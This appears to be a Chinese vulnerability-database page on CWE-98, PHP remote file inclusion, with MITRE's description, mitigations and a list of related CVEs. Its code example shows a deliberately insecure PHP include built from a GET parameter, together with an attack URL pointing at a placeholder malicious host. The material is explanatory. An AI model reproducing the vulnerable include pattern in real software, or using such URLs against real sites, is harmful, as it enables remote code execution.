目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类漏洞列表 1309

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类弱点 1309 条 CVE 漏洞汇总,含 AI 中文分析。

CWE-98是PHP远程文件包含漏洞,源于程序未严格限制包含语句中的文件名输入。攻击者常通过构造恶意URL,诱导服务器加载并执行远程恶意代码,从而获取系统控制权。开发者应避免直接使用用户输入作为包含路径,需实施严格的白名单校验,禁用远程文件包含功能,并确保输入经过充分净化,以阻断此类攻击路径。

MITRE CWE 官方描述
CWE:CWE-98 PHP程序中包含/要求语句的文件名控制不当('PHP远程文件包含') 英文:PHP应用程序从上游组件接收输入,但在将其用于“require”、“include”或类似函数之前,未对输入进行限制或限制不正确。 在某些版本的PHP及其配置中,这允许攻击者指定一个指向远程位置的URL,产品将从该位置获取要执行的代码。在其他与路径遍历相关的情况下,攻击者可以指定一个可能包含可由PHP解析的可执行语句的本地文件。
常见影响 (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
缓解措施 (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID 标题 CVSS 风险等级 Published
CVE-2024-5348 WordPress plugin Elements For Elementor 安全漏洞 — Elements For Elementor 8.8 High 2024-06-01
CVE-2024-3564 WordPress plugin Content Blocks 安全漏洞 — Content Blocks (Custom Post Widget) 8.8 High 2024-06-01
CVE-2024-5345 WordPress plugin Responsive Owl Carousel for Elementor 安全漏洞 — Responsive Owl Carousel for Elementor 8.8 High 2024-05-31
CVE-2024-3812 WordPress Plugin Salient Core 安全漏洞 — Salient Core 7.5 High 2024-05-18
CVE-2024-3810 WordPress Plugin Salient Shortcodes 安全漏洞 — Salient Shortcodes 8.8 High 2024-05-18
CVE-2024-32523 WordPress plugin Mailster 安全漏洞 — Mailster 8.1 High 2024-05-17
CVE-2024-27971 WordPress plugin Premmerce Permalink Manager for WooCommerce 安全漏洞 — Premmerce Permalink Manager for WooCommerce 8.3 High 2024-05-17
CVE-2024-3551 WordPress Plugin Penci Soledad Data Migrator 安全漏洞 — Penci Soledad Data Migrator 9.8 Critical 2024-05-17
CVE-2024-4670 WordPress plugin All-in-One Video Gallery 安全漏洞 — All-in-One Video Gallery 8.8 High 2024-05-15
CVE-2024-31459 Cacti 安全漏洞 — cacti 8.1 High 2024-05-13
CVE-2024-3808 WordPress Theme Porto 安全漏洞 — Porto Theme - Functionality 8.8 High 2024-05-09
CVE-2024-3809 WordPress Theme Porto 安全漏洞 — Porto Theme - Functionality 8.8 High 2024-05-09
CVE-2024-3806 WordPress theme Porto 安全漏洞 — Porto 9.8 Critical 2024-05-09
CVE-2024-4441 WordPress plugin XML Sitemap & Google News 安全漏洞 — XML Sitemap & Google News 8.1 High 2024-05-09
CVE-2024-3807 WordPress theme Porto 安全漏洞 — Porto 8.8 High 2024-05-09
CVE-2024-3849 WordPress plugin HoliThemes 安全漏洞 — Click to Chat – HoliThemes 8.8 High 2024-05-02
CVE-2024-3500 WordPress Plugin ElementsKit Pro 安全漏洞 — ElementsKit Pro 8.8 High 2024-05-02
CVE-2024-3499 WordPress plugin ElementsKit Elementor addons 安全漏洞 — ElementsKit Elementor Addons – Advanced Widgets & Templates Addons for Elementor 8.8 High 2024-05-02
CVE-2024-1600 lollms-webui 安全漏洞 — parisneo/lollms-webui 7.5AI High AI 2024-04-10
CVE-2024-3136 WordPress Plugin MasterStudy LMS 安全漏洞 — MasterStudy LMS WordPress Plugin – for Online Courses and Education 9.8 Critical 2024-04-09
CVE-2024-2047 WordPress Plugin ElementsKit Elementor addons 安全漏洞 — ElementsKit Elementor Addons – Advanced Widgets & Templates Addons for Elementor 8.8 High 2024-03-30
CVE-2024-3061 WordPress Plugin HUSKY 安全漏洞 — HUSKY – Products Filter Professional for WooCommerce 7.2 High 2024-03-29
CVE-2024-2411 WordPress Plugin MasterStudy LMS 安全漏洞 — MasterStudy LMS WordPress Plugin – for Online Courses and Education 9.8 Critical 2024-03-29
CVE-2024-1382 WordPress Plugin Restaurant Reservations 安全漏洞 — Restaurant Reservations 8.8 High 2024-03-07
CVE-2023-6989 WordPress plugin Shield Security 安全漏洞 — Shield: Blocks Bots, Protects Users, and Prevents Security Breaches 9.8 Critical 2024-02-05
CVE-2024-0315 Trellix Central Management 安全漏洞 — FireEye Central Management 6.6 Medium 2024-01-15
CVE-2023-6583 WordPress Plugin Import and export users and customers 安全漏洞 — Import and export users and customers 6.6 Medium 2024-01-11
CVE-2023-49084 Cacti 安全漏洞 — cacti 8.1 High 2023-12-21
CVE-2023-5815 WordPress Plugin News & Blog Designer Pack 安全漏洞 — Blog Designer Pack – Blog, Post Grid, Post Slider, Post Carousel, Category Post, News 8.1 High 2023-11-22
CVE-2023-5099 WordPress Plugin HTML filter and csv-file search 安全漏洞 — HTML filter and csv-file search 8.8 High 2023-10-31

CWE-98(PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) 是常见的弱点类别,本平台收录该类弱点关联的 1309 条 CVE 漏洞。